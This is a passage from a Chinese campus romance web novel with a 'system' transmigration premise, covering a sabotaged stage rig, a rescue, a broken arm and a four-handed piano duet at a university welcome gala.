刘海明这才不疑有他,点了点头,左右看了看,又打量了一下宋煜的体格,看上去实在不像是能干重活的样子,他皱着眉,突然又想起来什么,抬手往上指了指:“刚想起来,今年安全排查还没干,那你赶紧去检查上面钢架。” 话音刚落刘海明就被一边的工作人员连声叫走了,宋煜为难的看了看天花板的钢架,叹了口气,任命的开始爬梯子。 董其铭被朋友告知去大礼堂能看见朗月现,想了点办法打通了工作人员,带着自己进了后台,他用眼神寻摸了一圈,也没看见朗月现的身影,心里正不爽呢,转头间一个晃眼,竟然看见了爬上舞台天花板正在检查钢架的宋煜。 董其铭眼神闪烁不定,脑海中突然回旋出一个计划,嘴角骤然勾起一抹冷笑。 第二十二章 别怕,我轻轻的 朗月现刚下课, 他拎着书包,走在回宿舍的路上,看看天色也不早了, 准备先吃个饭之后再去礼堂盯上一会。 最近他盯盛衍盯得太频繁,都快给自己干出来工伤了。 系统说原书没给出具体时间, 只说书中大概提了一嘴,是在演出前排练时会安排人设计陷害,朗月现也只好天天蹲任务一样,看盛衍这位C大著名交际花在各个部门和演出环节中串场。 他不但有自己的钢琴独奏表演,还要负责晚会主持,需要一步步跟着演员们的节目演出时间走场, 朗月现百无聊赖的托着脸坐在台下,光看着都嫌麻烦。 其实盛衍早就将主持词和上场时间记得滚瓜烂熟了, 他自己的节目也不需要怎么多加练习,他是钢琴最高荣誉中肖邦国际赛事的金奖获得者,在校园晚会演出最大的困难也就是需要克服一下学校那对比起来略显廉价的平价钢琴。 而促使他依旧每天按时去走场排练,纯粹是因为, 朗月现会坐在场下陪着他。 虽然完全不知道是为什么,朗月现也没解释过,而且每次排练一结束,他跑的比谁都快,盛衍抓都抓不住人。 朗月现即使每次都一脸地百无聊赖,但就是会很乖很乖的坐在场下,一直陪着他直到演出排练结束。 盛衍也不多问,怕给小孩问急了再恼羞成怒不来了。每每排练中途,偷偷瞥他一眼,心里就涌起一股暖流。 盛衍从未在别人身上获得过如此轻易且巨大的满足感。 他嘴上不说, 却享受极了,这几天脸上的笑都真诚了许多。 朗月现走在路上,正低头看着手机中老师布置的作业,脑海中出神地想着自己未完成的课题,系统被他念的昏昏欲睡,强打起精神,掏出它的破狗血小说准备醒醒神。 它随手翻到了最近的剧情,晃着小胖脚丫心不在焉的看,没一会儿,它的目光突然定在了某一个段落,怔怔看了半天,揉了揉眼睛,反复确认,结果这一醒神直接醒了个彻底。 系统扯着嗓子尖叫,好像有个三岁的小孩在朗月现的脑子里被夹了手指:“就是今天,要出事啊宿主!” 朗月现甚至还没反应过来系统在说什么,条件反射一般拔腿直冲大礼堂跑去,他斜挎着背包,风从他的耳边呼啸而过,衬衫被吹得鼓了起来,像一面飞扬的旗帜。 系统在他的脑海中快速翻书,看了又看,急的满头大汗,声音都泛着哭腔:“怎么办啊,都怪我,上面明明说了是演出前一天的排练,这么重要的节点,我没看仔细啊……” “没关系。” 系统停住了抽泣的声音,它听见朗月现的声音是那么地从容笃定,带着他会搞定一切的自信张扬的笑意,说道:“放心,有我呢。”—— 暮色中的礼堂充盈着夕阳和顶灯组合而成颜色柔和的光晕,舞台追光灯在幕布上投下斑驳光晕。盛衍站在街舞社成员前方,低着头心不在焉的默默顺着手中报幕的主持词。 他频繁的抬头向礼堂门口看去,眉头微蹙,主持词在他眼前完全变成一团乱码,他几乎是凭着肌肉记忆走的场,周围人都能感觉出来盛衍今天心情不好,都小心翼翼的不敢触他的霉头。 虽然盛神平时总是带着得体的笑意,说话也温温柔柔的让人心生亲近,但是总给人一种不食人间烟火的不真实感,优雅得体的太过礼貌,周身总是萦绕着淡淡的疏离感,难免会让人产生敬畏之心。 学生会众人也是这样觉得,他们有什么事情敢找会长撒泼打滚,也没有人敢在盛衍面前大吵大闹。 盛衍兴致不高,周围排练环境都比平时更安静一些。林小棠突然耳尖一动,似乎感受到了什么,她扭头向舞台顶看过去,握着台本的手指突然收紧。 舞台左上方那根承重钢管正在诡异地摇晃,金属反光像一条银蛇游走在舞蹈社成员头顶。 舞蹈社站在正中间的社长后颈突然落下一滴冰凉,抬头发现天花板冷凝水正顺着松动的螺栓纹路蜿蜒。 林小棠顿时头皮发麻:“停!所有人立刻离开舞台!” 她对着对讲机大喊的瞬间,有人从她的身边风一般掠身而去,林小棠只看见一个修长的白衣身影在她眼前像只轻盈的飞鸟冲着舞台飞奔而去。 下一秒,钢管与灯架衔接处迸出刺耳的金属摩擦声,正在盛衍身后排练街舞动作的同学们茫然抬头,只见三米长的钢管裹挟着聚光灯轰然坠落。 "哐——!" 就在钢管即将砸中盛衍的瞬间,一道白影从侧台飞扑而来。朗月现衣服下摆在半空划出弧线,右手精准扣住盛衍的手腕,往怀里猛地一拽,右腿猛地飞起一脚,将对着盛衍面门急速下落的沉重钢管踢得偏移原本位置。 后作用力使两人重重摔在木地板上,钢管几乎是擦着朗月现的裤脚砸入地板,溅起的木屑在他小腿上划出细密血痕。 盛衍瞳孔大震,眼睁睁看见朗月现迎着掉落的钢管向他扑来,那一瞬间他整个人汗毛倒竖,像是被无形的藤蔓绞紧了喉咙。“你疯了吗?!”盛衍被他护在身下,声音抖的不成样子。 朗月现从盛衍上方撑起身子,汗湿的刘海遮住眼睛,嘴角竟然是挂着得意的笑意:“没事吧?” 金属撞击木地板的巨响在礼堂穹顶炸开,飞溅的螺丝钉擦着后勤组长刘海明的耳畔划过。刚还在拎着椅子要上场的同学被冲击的跌坐在两米开外,破碎的灯罩在她手边泛着冷光。空气里漂浮着细微的石膏粉尘,在应急灯惨白的光束里缓缓沉降。 这突然的变故把全场惊的目瞪口呆,林小棠瘫坐在控制台前,手中紧紧握着被手指捏到变形的台本,汗湿得整个人像是从水里捞出来的一样。观众席闲坐着的零星演员传来此起彼伏的抽气声,几个等待上台排练的演员攥着节目单的手还在发抖。 林小棠跨过满地狼藉时,高跟鞋跟卡进了舞台接缝处的螺丝孔。她索性甩掉鞋子,赤脚踏过仍有余温的金属残骸:“医疗组检查伤员!设备组切断总电源!各社团负责人立即清点人数!” 盛衍扶着朗月现站起来时,朗月现觉得手臂一片濡湿,他低头一看,发现盛衍的左手手掌蹭过有铁皮碎片的地板时被划开了一道很深的口子,鲜血顺着指尖滴落,在木地板上绽开暗红的花。 朗月现眉头一锁,抓过他的手检查伤口,不耐的小声啧了一声,他在脑海中问系统,这算是因为我而受伤吗?系统犹豫的哼唧一会儿:“不算吧,也不耽误事吧……毕竟原书里写他是因为摔断手臂而不能进行表演,这点伤口处理一下应该不耽误演出。” 校医提着急救箱冲上舞台,人还没站稳,医药箱就被人一把夺走,校医不满的哎了一声,抬起眼就和一双漂亮的眼睛对上了视线。所有的不满瞬间咽了下去,朗月现扬了扬下巴:“不好意思,先借我。”校医忙不迭的点头,颇为殷勤的抬手示意随便用。 碘伏的气味混着血腥味在空气中弥漫。平时多么儒雅得体的一个人,此刻却像是被抽走了灵魂,再也维持不住平时那假面一样的微笑,毫无形象的死死盯着朗月现,嘴唇都止不住的微微发颤。 朗月现以为他是怕疼,耐下性子安慰道:“别怕,我轻轻的。” 别怕?怎么能不怕,盛衍怕的简直要疯了!朗月现正垂着头研究医疗箱里的伤药,完全没注意到面前这个人的情绪都快崩溃了。 盛衍阖了阖眼,深吸了一口气努力平静下来,他听见自己的声音带着压低了的怒火和责备,却又掩不住的颤抖:“你怎么敢的?你知道刚刚有多危险吗,你要是出事……” 他说不下去了,只剩下胸膛如同破了口的风箱,不断地艰难起伏。朗月现一手捧着他的手,另一手拿着棉棒上药,闻言头也没抬,毫不在意的说:“我有数,不会出事。” 药水的气味混着血腥味在盛衍的鼻腔中弥漫,他的喉咙像是被什么堵住了,呼吸变得异常艰难。他没有办法* 再去回忆刚刚让他心脏几乎停跳的那一幕,空着的那只手紧紧攥拳,指甲深深嵌进掌心,只有这样勉力支撑着,才能堪堪克制住即将崩坏的理智。 他毫不顾忌形象,几乎是低吼出来的:“怎么能不担心?!” 太过无能为力了,事情发生的太快,那一刹那他像是突然被什么力量定在了原地,连一根手指都动不了。只能眼睁睁看着朗月现迎着危险冲上前将他带离,他才如梦初醒一般感到后怕。 他不知道自己那一瞬间是怎么了,但是如果朗月现真的因为救他而受伤……这个念头让他浑身发冷。 朗月现莫名其妙被凶,荒唐的他都要气笑了,他不爽的扬起眉头抬眼望过去,却看见盛衍浑身竟然在细微的发着抖,眼眶通红,脸上的表情像是要哭了一样。 朗月现微微怔住,张了张嘴,最终还是什么都没说,重新低下头继续上药。 “他是不是晕血啊,脾气这么大。” 系统:“……” * 朗月现坐在场边用来给演员休息的长椅上,百无聊赖的伸着长腿,看着四周忙忙碌碌收拾场地的工作人员,后勤组长刘海明脸色煞白得被林小棠骂的那叫一个狗血喷头,他看得颇有那么几分兴致。 组长挨骂,组员也别想好过,今天正好是庄肃值班,劈头盖脸的承受了一波来自组长的无名火,嘴巴撅的老长,带着委屈的怨气就上了后台登天梯。 “昨天是安排谁在群排前检查的舞台钢架啊?”庄肃蹲在变形的底座旁,指尖抹过断面处闪亮的金属屑。 “安装时明明测试过承重。”暗红色幕布突然被掀开,接到电话就赶紧赶来的穿灰色工装的维修师傅边说着边打着手电筒钻进钢架丛林,强光扫过处,四颗松动的膨胀螺栓正在阴影里静静悬垂,它们根本未曾被拧紧过。 第二十三章 不急,现在还不是时候…… 盛衍被林小棠拉着从头到尾的检查有没有事, 又被迫听她后怕又烦躁的倾诉抱怨了好长一段,他强忍着不耐状似认真的听着,不经意间一转头, 本应该老老实实坐在长椅上休息的少年竟不见了身影。 盛衍心头一紧,甩开林小棠还拉着他胳膊的手, 不顾林小棠在后面不解的连声呼喊,头也不回的跑出去找人。 盛衍也不知怎么,鬼使神差的直冲礼堂后面,那处他们第一次交谈的隐蔽露台跑了过去,所幸看到朗月现闲散倚靠的身影,他才长长的舒出一口气。 盛衍也不知道自己怎么了, 只是一眼没看见朗月现,他冲自己不管不顾扑过来的画面就会不受控制地在脑海中重演, 直到看到朗月现好端端的站在那,他才发现自己的冷汗已经浸透后背。 只要回忆起那瞬间只能眼睁睁看着的心慌无力感,像是被无数根细细的丝线紧紧缠绕住他的心脏,随时可能勒出血来, 心跳声在耳边轰鸣,每一声都能引起丝线的震颤,化成阵阵难以忍受的刺痛。 那种极端的自责让朗月现只是单单脱离了自己视线,他整个人就焦躁不安起来,慌的让他无法忍受。 朗月现就想一个人静静地待一会,没想到躲到哪都能有人找过来,他被缠得有点不耐,刚想不留情面的开口把盛衍赶走,却看见盛衍眉头紧锁,脸色苍白, 垂在身侧的双手都在不停颤抖,显然是受到了不小的惊吓。 朗月现到嘴边的话又咽了下去,他轻咳一声,不解的询问系统:“他为什么这样看着我,我没做什么吧。” 系统完成了心中压着的一件大事,正乐不可支的不停刷新关键节点积分面板,闻言随口敷衍道:“害,宿主可能长着一副随时会被人拐跑的模样呗,别在乎那些小事了,等积分到账,我给宿主买最喜欢吃的那款夹心硬糖。” “……要草莓味的。” “得嘞!” 盛衍平静了下情绪,走到朗月现身边,朗月现背靠着栏杆,眯着眼看着胸膛微微起伏,面无表情看着他的盛衍,他嘲弄的勾了勾嘴角,觉得这高级演员今天露馅的时候也太频繁了。 朗月现觉得他可能是被舞台的突然变故吓得维持不住平时那副波澜不惊的样子了,毕竟谁看到一个三米长的钢管直冲自己砸下来,心境还能保持平静如水呢。 朗月现表示十分理解,他掏出兜里新买的烟,磕了磕被压变形的外盒,自己叼住一根,接着将盒子递过去,扬唇懒懒道:“压压惊。” 盛衍盯着他漆黑含着笑意的眼睛,唇线拉直,毫无情绪的接了过来。 他确实应该压压惊,直到现在他还在因为朗月现的突然消失心脏急速跳动,太阳穴的青筋一鼓一鼓,血液不间断冲击叫嚣得他眼前一阵阵发晕。 为什么不告而别?我连让你告知一声的权利都没有吗? 朗月现挑着眉,目光微微一顿,看到盛衍真的将烟接了过去,眼中不由得闪过一抹诧异。 递烟的举动是抱着一种逗弄的心思在的,朗月现完全没想过,盛衍这种人抽起烟来是什么样子。 盛衍将烟放在唇间,泄愤般的狠狠咬下去,烟嘴中的爆珠啪的爆开,一股很熟悉的草莓味在口腔中四散开来。 “叮”一声非常清脆好听的打火机声响起,朗月现垂头点燃细烟,烟头在昏黄的光线下泛着微弱的红光,朗月现抬起脸,眼神在缭绕的烟雾间慵懒而迷离。 他将打火机递过去,盛衍没有接,也没有说话,只用还缠着绷带的手轻轻抚开他递过来的打火机,向前一步,靠近他。 两人的距离瞬间缩短,呼吸几乎交织在一起,朗月现甚至能透过淡淡的烟草味闻到他身上清冽的木质香调。 他低头,将唇间含着的烟头轻轻抵在他点燃的的烟上。烟丝在接触的瞬间发出细微的“嘶嘶”声,在静谧的露台格外清晰。火光在两人的烟上跳跃,间断闪烁的红光映亮了两人的唇角和眉眼。 盛衍的目光没有离开过朗月现的脸,仿佛在等待着什么,又仿佛是在观察面对他此刻贸然的行为,朗月现脸上会出现什么样的表情。 直到盛衍的烟也被点燃,,烟雾从他唇间缓缓吐出,缭绕在两人之间,模糊了朗月现脸上的表情,却让那种若有若无的性张力更加明显。 在烟点燃之后,盛衍没有立刻退开,而是保持这个姿势,烟头依旧轻轻抵着他的烟,无声地延长这一刻的亲密,好像只是单纯的享受两人之间不可言说的暧昧气息。 朗月现并没什么明显的表情,眉宇间凝结着淡淡的倦意,似乎只将其当成正常借火。 他唇角勾着一抹似有若无的笑意,抬起的眼眸中淡然倦怠,手指搭上盛衍的肩,将其往后轻轻一推,淡淡道:“借个火还没完了?” 话落,他便将自己手中的被盛衍借过火烟丢在了地上,踩灭。 盛衍看着被鞋尖捻碎的细烟,脸色终于彻底阴沉下来。 然而,当朗月现又重新将身体靠上露台栏杆的这一刻,栏杆突然发出一声刺耳的“咔嚓”声。朗月现的眼神瞬间凝固,他下意识地低头看去,发现脚下的栏杆已经出现了裂痕。 “小心!”盛衍几乎是本能地伸出手,一把抓住朗月现的手腕,用力将他拉向自己。朗月现还未反应过来,身体已经失去了平衡,整个人向后倾倒。 盛衍毫不犹豫地扭转两人的身体挡在朗月现的下方,双臂紧紧环住他,将他牢牢护在怀里。 “砰!”尘土飞扬,碎石四散,两人重重地摔了下去,盛衍的背脊率先着地,发出一声闷哼。朗月现被他紧紧护在胸前,虽然也受到了冲击,但并没有直接撞到地面。 盛衍护的太紧,朗月现从他的怀里挣扎着抬起头,感觉到盛衍的呼吸有些急促,看到他额头上渗出细密的汗珠,朗月现皱着眉赶紧问道:“你怎么样?” 盛衍勉强挤出一丝笑容,声音有些沙哑:“我没事,你……没受伤吧?” 朗月现从他怀里起身,盛衍还想拦一下让他先别乱动,即使露台不高,但毕竟这么结实的摔下来,万一哪里受了伤还乱动就不好了。 结果刚一抬手,右臂突然传来一阵极为狠厉的疼痛感。他没忍住倒抽一口冷气,朗月现急忙转头看向他:“哪受伤了?” 盛衍看着他脸上做不了假的焦急紧张模样,只觉得刚刚亲眼看着朗月现毫不留情踩灭烟头的憋闷一扫而空,手臂上那股钻心的疼痛似乎瞬间减轻了许多。 他被朗月现关心,正飘飘然呢,心里忙着回味,也不故作逞强,只看了看右臂,轻声道:“好像是手臂……断了。” 朗月现:“……” 系统:“……” 朗月现手肘撑在膝盖上,手指抵着额头,舌头顶了顶腮,笑得颇为无奈。 “艹,这都行……” 系统停下不停刷新关键节点积分板的手指,惆怅无语看天。 “需要帮你们叫救护车吗?” “叫吧,保不齐我一会儿也被气出个好歹来。”—— 夜幕刚刚降临,校园里却早已灯火通明。迎新晚会的大礼堂外人头攒动,学生们三五成群地聚在一起,兴奋的交谈声,笑声交织,空气中弥漫着一种难以抑制的期待感,仿佛每一寸空间都在为即将到来的盛会而颤动。 C大礼堂门口,巨大的海报上写着“xx届迎新晚会”几个大字,灯光打在上面,显得格外耀眼。 学生会安排了工作人员在礼堂门口发放荧光棒,学生们井然有序的领取荧光棒后进场,脸上洋溢着兴奋的光彩。 走进礼堂,舞台上的灯光已经亮起,五彩斑斓的光束在空中交错,映照出无数闪烁的光点。音响里传来低沉的试音声,偶尔夹杂着林小棠的指挥声:“话筒再试一次!”“灯光再调亮一点!” C大后台有专门供演员换装的单间,林小棠特地给盛衍安排了一个单独的房间给他。房间内的灯光昏黄而柔和,空气中弥漫着清淡好闻的木质香水味和残存的化妆品的气息。 盛衍站在镜子前,微微低着头,手指有些不自在的摆弄西装袖口,眉头轻轻皱起。他伤了一只胳膊,只用单独的那只手艰难系好的领带看起来歪歪斜斜,显得有些狼狈。 “别动。” 一道清凌凌的少年音从身后传来,朗月现站在他身后,修长的手指轻轻搭在他的肩上,将他转了过来。 盛衍愣了一下,正对上朗月现那双尤其动人的眼睛,心跳不由得漏了一拍。 朗月现的动作很轻,指尖捏住盛衍的领带,慢条斯理地调整着。他的手指偶尔碰到盛衍的脖颈,微凉的触感让盛衍忍不住缩了缩脖子,耳根悄悄染上了一层薄红。 朗月现似乎察觉到了他的反应,唇角微微勾起,却没有说话,只是继续专注地整理着。 “紧张什么?”他忽然开口,声音带着戏谑:“盛神见过大场面的,这学校的晚会还能让你紧张起来了?” 盛衍轻笑一声,眼睛眨都不眨的盯着朗月现看,眼神中带着满溢出的喜欢:“紧张。小月能安慰我一下吗?” 朗月现的手指最后在他的领带上轻轻一按,随即退后一步,上下打量了他一眼:“好了,很完美。” 盛衍低头看了看自己,领带果然整整齐齐,西装也笔挺得无可挑剔。他抬头看向朗月现,他正在整理自己袖扣,在换衣间不算多明亮的房间中,朗月现平日里咄咄逼人的艳丽被稍稍掩住了,垂头时领口处露出的白皙后颈,像是一颗泛着柔和光芒的珍珠。 朗月现整理好自己,抬头就发现盛衍的目光依旧停留在自己身上,眼神深邃得让人有些招架不住。 他挑了挑眉,简单的一个表情就将那股张扬的美再次放了出来:“看什么呢?” 他故意拉长腔调,那勾人的尾音,诱得人浑身发抖。 盛衍这一刻突然有些控制不住自己,他似乎完全被朗月现迷住了。 外面隐约能听见忙碌着等待上场的晚会演员们的吵嚷声,而在这个狭小的换衣间,只有他们两个人。 他失控般的朝前走了一步,离得朗月现更近了些。 当时在看到林小棠在和朗月现纠缠的时候,他其实是有些慌了神的,所以才如此急迫,甚至维持不住冷静表象,急于摆出那副“这是我的人”占有欲十足的警告模样。 因为盛衍潜意识中觉得,朗月现这种人,是真的会喜欢林小棠那种热情开朗,待人真诚,喜欢打直球的性格的人。 而他与自己所认同的那副模样,截然相反。 但是,如果只是今晚,如果只是现在,让自己变成像林小棠那种人一样,拿出最真诚的姿态,向他袒露自己最真实的内心,他会用什么样的表情来看我呢。 盛衍目光灼灼,为自己的想法而心跳加速。 朗月现看着盛衍怔愣的看着自己出神的模样,皱了皱眉,试探地问道:“我脸上有东西?” “没有。”盛衍终于开口,他声音依旧淡淡的,却隐藏着一丝不易察觉的颤抖。 他心中突然那涌起一股冲动,他想要靠近他,想要打破两人间这层若有似无得隔阂,他想要告诉他,自己对他几乎已经压抑不住的迷恋。 就在盛衍又走了一步,再次试图拉进两人距离时,他看到了朗月现那张带着漫不经心的倦怠的模样。 他几乎是一瞬间想起了那颗被他毫不留情在鞋底捻灭的烟头。 朗月现就是用现在的这个表情,丝毫不留情面的宣告了两人之间的关系。 盛衍突然露出一个难以言喻的笑容,没错,朗月现不但对他没有丝毫的暧昧心思,甚至于在讨厌他。 所以他才会嫌弃的将被自己借过火的烟用如此露骨的,毫不留情的方式丢弃。 盛衍的身体微微僵住,他默默后退了两步,嘴角带着一抹淡淡的笑意,仿佛什么都没发生过一样。 不急,现在还不是时候,别乱了分寸,把人越推越远。 他走到门口,背影挺拔而从容,转头露出一个势在必得的自信微笑,目光直直地望进朗月现的眼睛,温柔的说道:“走吧,该我们上场了。” 朗月现不由的多看了盛衍一眼,他还从没在他脸上看到这种坚定又张扬,与平时截然不同的笑容。 像是这个被世界意志所操控的NPC突然觉醒了自我意识一样的,灿烂笑容。 第二十四章 他是能救他的春风,甘露,玫瑰,宝石水晶糖 程澈坐在礼堂的绝佳位置, 前排最中间,是刘海明特地给他留的位置,他特地早来想给宋煜也占个位置, 但是怎么打他电话都打不通,他微微蹙起眉, 想着要不要麻烦其他人帮忙出去找找,不一会就看见宋煜给他回了信息,说自己正在兼职来不了,让他自己好好看晚会,程澈便安心坐下等待开场。 他手机已经很旧了,内存也不大, 今天为了给阿月拍照,他特地删了好几个APP腾出空间。 程澈是和朗月现同时得知他要在迎新晚会上上台表演的。 程澈在听刘海明说舞台突然出现重大事故, 朗月现被救护车送进医院时,他差点疯了。 程澈都不知道自己怎么赶到的医院,他耳鸣的特别厉害,脑海中一片混乱, 无数个念头疯狂地涌上来,却又抓不住任何一个,只有一个声音格外清晰的拼命催促自己:“快去!快去!” 直到到了病房门口,看到生龙活虎,只是衣角微脏的朗月现时,程澈脚步一软,浑身上下被冷汗浸透的凉意这时才一股脑的涌了上来,逼得他狠狠地打了个寒颤。 程澈头晕目眩,努力平稳着颤抖的呼吸,心里只有一个念头:“造谣能不能判刑啊?” 朗月现确实生龙活虎, 他正瞪着那双漂亮的眼睛同林小棠据理力争:“凭什么我要帮你们一起表演节目。” 林小棠雄鹰一般的铁血女人也被这突然的双重变故打击的有点颓然了。她站着,朗月现坐着,气势依旧上不来,她颇为疲惫的叹了口气:“求你了祖宗,盛衍上不了场的话,这场晚会就成笑话了。” 确实成笑话了,尤其是这次晚会宣传的海报与C大往年经典的栾树花大场景不同,是破例使用了朗月现和盛衍的双人照。 前期给学校的学生们激动的不行,与有荣焉的恨不得将这张宣传照宣扬至首都整个大学城,最好让每个人都来见识一下什么叫C大的顶级门面。结果这两个人一个是新晋校草单纯露个脸并不上场,另一个还摔断了手臂上不了场。 C大不搞科研只搞选美的名声可算是彻底坐实了,校董的脸都得气黑了。 盛衍自从刚刚提出可以两个人一起连弹的解决办法后就微笑着一声不吭,抛出个钩子只留林小棠全力输出。 林小棠愤愤的磨了磨牙,怒瞪了盛衍一眼,多歹毒的家伙!明知道自己被当刀子使,她还不得不承认这确实是个非常好的办法,只能硬着头皮继续厚着脸皮求人。 她伸手一指靠坐在床上吊着胳膊的盛衍:“弟弟,你俩关系不是很好吗,你就当帮你盛衍学长个忙不行吗?” 朗月现:“?你哪只眼睛看到我们俩关系好了?” 林小棠震惊:“我两只眼睛都看到了,关系不好你天天陪他排练?你们金融系不行了啊,天天闲成这样?” 忙的不可开交连作业都只能熬夜做的朗月现:“……” 林小棠又软下声音,双手合十:“学弟,你学姐办个晚会不容易啊,这一下把咱们学校办成顶尖大学里的笑话了,是不是对你姐将来的仕途多少有点影响啊。” 朗月现还想再挣扎一下:“……谁说我会弹钢琴了?” 林小棠一下被问的卡壳了,她嘴唇微微长大,表情有些茫然,问道:“你不会弹钢琴吗?”说完她又扭头质问盛衍:“学弟不会弹钢琴你搁这玩我呢?” 朗月现:“……”他还真会。 朗家把朗月现当个宝贝疙瘩宠的上天,家里对他要求极高,从小便被精心培养,光乐器他就精通四种,钢琴更是弹得极好。 盛衍这时才微笑着接话,他意味深长的看了朗月现一眼,轻声说道:“我觉得学弟应该是会弹钢琴的。” 说完他又像是想起什么似的补充道:“如果真的决定说自己不会,我也不介意手把手的教你,选个简单的曲子,学起来很快。” 林小棠又支棱起来了,目光灼灼的再次转头看向朗月现,露出标准的八颗牙齿讨好的笑,眼巴巴的等着他回话。 朗月现沉默了片刻,最终叹了口气,还没等他点头,林小棠就看出他这是答应了,激动地猛地上前两步,一把抱住了朗月现的脑袋,紧紧搂在了那很是有分量的胸前。 几人:“!!!” 盛衍直接一把掀开被子从床上跳了下去,站在门外的程澈反应更快,上前一把扯开了过于兴奋的林小棠。 朗月现单手捂住了脸,难得的耳根都红了起来。他从椅子上起身,脚步凌乱地朝门口走去,还没忘了招呼还僵硬站在房间里狠狠皱着眉头的程澈一起走。 微微晃动的门板后的空气中还残留一丝慌乱气息,林小棠揶揄的趴着门框笑道:“哎呦,还难为情啦,小学弟。” 她颇觉有趣得笑着转过头,就看见面无表情,黑着一张脸,眼神非常不善地看着她的盛衍。 林小棠干笑两声:“……”得,嘚瑟过头了—— 盛衍手臂受伤后,主持的任务就交给了另一位播音专业的高年级学长。 学长站在舞台中央,感谢过了舞蹈社的精彩表演后,看着摆放钢琴的工作人员做好工作,迎着礼堂中观众们突然变大和兴奋起来的窃窃私语的议论声,向后利落的张开一只手示意:“接下来请大家欣赏,下一个节目,钢琴合奏《夜曲》”。 一个著名的钢琴单人协奏曲,主持人报幕时却说的钢琴合奏,台下的观众们兴奋的更加明显,那个传言不会是真的吧! 礼堂的灯光缓缓暗下,只剩下舞台中央那架漆黑的三角钢琴在柔和的聚光灯下泛着微光。 观众席上的窃窃私语渐渐平息,所有人的目光都聚焦在舞台两侧的入口处。突然,两道修长的身影同时走出,一左一右,步履从容,瞬间吸引了全场的注意。 朗月现身穿剪裁得体的黑色西服,面料在灯光下泛着细腻的光泽,衬得他本就修长的身形更加挺拔。他没有打领带,领口微微敞开,露出精致的锁骨,增添了几分随性与不羁。灯光照在他高挺的鼻梁上,光影交错间,下颌拉出利落的阴影,惊人的俊气。 盛衍则是一身纯白西服,西服的剪裁极为合身,勾勒出他完美的肩线与腰身,面容柔和,嘴角带着一抹若有若无的笑意,右手臂自然的打着弯放在胸前的位置,像一个优雅的贵族绅士,步伐稳健而从容,带着一种与生俱来的优雅与从容。 两人一黑一白,却又和谐的不可思议,太过耀眼,所有人的目光都聚焦在他们身上。 整个礼堂陷入一片短暂的寂静。 紧接着下一秒,观众席上突然爆发出热烈的掌声和欢呼声。应昭表演完节目后来到台下,用力地手都拍麻了,他脸色涨红的跟旁边的朋友大声说道:“我就说他们俩是要一起表演的,都不信我,我是朗哥的亲室友,我还不知道嘛!” 朋友还专注的盯着舞台上更加亮眼的两个人:“之前论坛爆料神秘嘉宾,哪有几个人信的,主要是朗神看起来就不会对这种晚会活动感兴趣,没想到竟然真的会同意上台啊。” 两人站立于钢琴旁,盛衍看向朗月现,朗月现潇洒的一扬下巴,同盛衍一同端坐在钢琴前。 直到这一刻,台下的观众才知道,合奏是两个人各出一只手共同演奏一首独奏曲子。 聚光灯在舞台上投下一道银白的光柱,朗月现的右手指尖悬在琴键上方,台下此起彼伏的私语声渐渐平息。他听见左侧传来一声极轻的吸气,盛衍的左手无名指正在微微颤抖。 右手臂骨裂,左手掌还被铁皮划伤,其实单单出一只手盛衍也已经很为难了,朗月现淡淡的看他一眼,声音很小的对盛衍说道:“别怕,有我呢。” 咚咚。 盛衍甚至没敢转头去看朗月现,他心跳的太凶,怕被看出端倪。 在这种时候说这样的话,真的太犯规了,小月。 第一个音符落下时,盛衍感觉自己的心跳与琴弦共振,他的左手依旧熟练地流淌出月光般的旋律,在寂静的礼堂中泛起涟漪。 余光里,他看见朗月现低垂的睫毛在聚光灯下投下细密的阴影,鼻梁的线条精致得让人屏息。 朗月现的钢琴弹得非常好,第一次两人练习时就惊艳了曾获得过国金奖的盛衍,盛衍的眼神像看一个遗落世间的稀世珍宝一样,颇为可惜地问他为什么不参赛,单单以朗月现现在表现出的水平,完全可以成为金奖的有力竞争者。 朗月现坐在琴椅上,懒洋洋地睁开一只眼,修长的手指随意在琴键上滑过,带出一串清脆的音符。“啊,那个啊……”他打了个哈欠,“太麻烦了。” 盛衍很难描述自己当时的心情,他看着朗月现的侧脸,心中既为朗月现的才华感到可惜,却又觉得他本该如此,像一阵自由的风,不受任何束缚。 当乐曲进入华彩段,节奏变快,盛衍的左手忽然使不上力,甚至弹出了几个明显的颤音。朗月现眼睛都没眨一下,修长的指尖翻飞,流水般的琴音裹住盛衍指尖断续的旋律,像月光温柔地包裹着伤痕。 他忍不住侧目,看见朗月现修长的手指在琴键上跳跃,每一个动作都优雅淡然得令人心悸。后颈渗出的细密汗珠在灯光下闪烁,仿佛撒落的星屑。 整段曲子高/潮来临的那一刻,盛衍的左手与朗月现的右手在琴键上交错,灯光随着节奏从穹顶倾泻而下,盛衍感觉自己指尖的温度骤然升高。 他侧过头,看见朗月现的侧脸在独属于他们的灯光下宛如雕塑般精致俊美,皮肤近乎透明,能看见淡青色的血管。 那双总是明亮的让他心动的眼睛此刻认真地微微眯起,眼尾泛着淡淡的红晕,像是被同自己一起的这场合奏染上了温度。 盛衍心跳乱了,左手在碰到升调时骤然蜷缩,朗月现立刻用右手补上缺失的音符,让旋律继续流淌。朗月现近在咫尺的呼吸轻轻拂过他的耳畔,带着微凉浓郁的玫瑰香气,让他的耳根发烫。 最终的和弦在寂静中震颤,余音在礼堂上空盘旋。当最后一个音符落下,整个礼堂陷入了短暂的寂静,仿佛时间在这一刻停滞。 紧接着,掌声如潮水般涌来,伴随着此起彼伏的欢呼和赞叹声,有人激动地站了起来,有人拼命地挥舞着荧光棒,整个礼堂沸腾了。 程澈没有站起来,他只是呆呆的看着前方,即使目之所及已经被激动地站起身鼓掌的同学们的身影所遮挡。朗月现的手指落在琴键上的瞬间,程澈的世界就只剩下黑白两色。 他坐在那,耀眼地像一束光劈开程澈过往灰暗的生活,可这光芒太刺眼了,刺得他眼睛发酸。 朗月现练习这首曲子时,程澈经常会去练习室门口等他,给他带些吃的喝的,然后就坐在那呆到朗月现练习结束,看不够似的。朗月现有时会让他回去,程澈就只能偷偷地站在他看不见的地方,试图延长他梦寐以求的幸福时刻。 此刻舞台上的朗月现敲击琴键的力度震得程澈肋骨发麻,那些他曾偷偷录下的琴房练习录音,在手机里循环到夜里做梦都是朗月现的身影,他听了这首曲子几百遍,却仍不及现场万分之一锋利。 程澈觉得自己非常可笑,他甚至希望自己能像那些音符一样,能够被他肆意地触碰。 当朗月现弹到最艰深的华彩段,汗珠顺着下颌滑进雪白衬衫领口,他竟荒唐地嫉妒起那滴汗水的轨迹。观众席爆发的掌声惊醒了他的恍惚,低头才发现自己把节目单边缘都撕成了细碎的流苏。 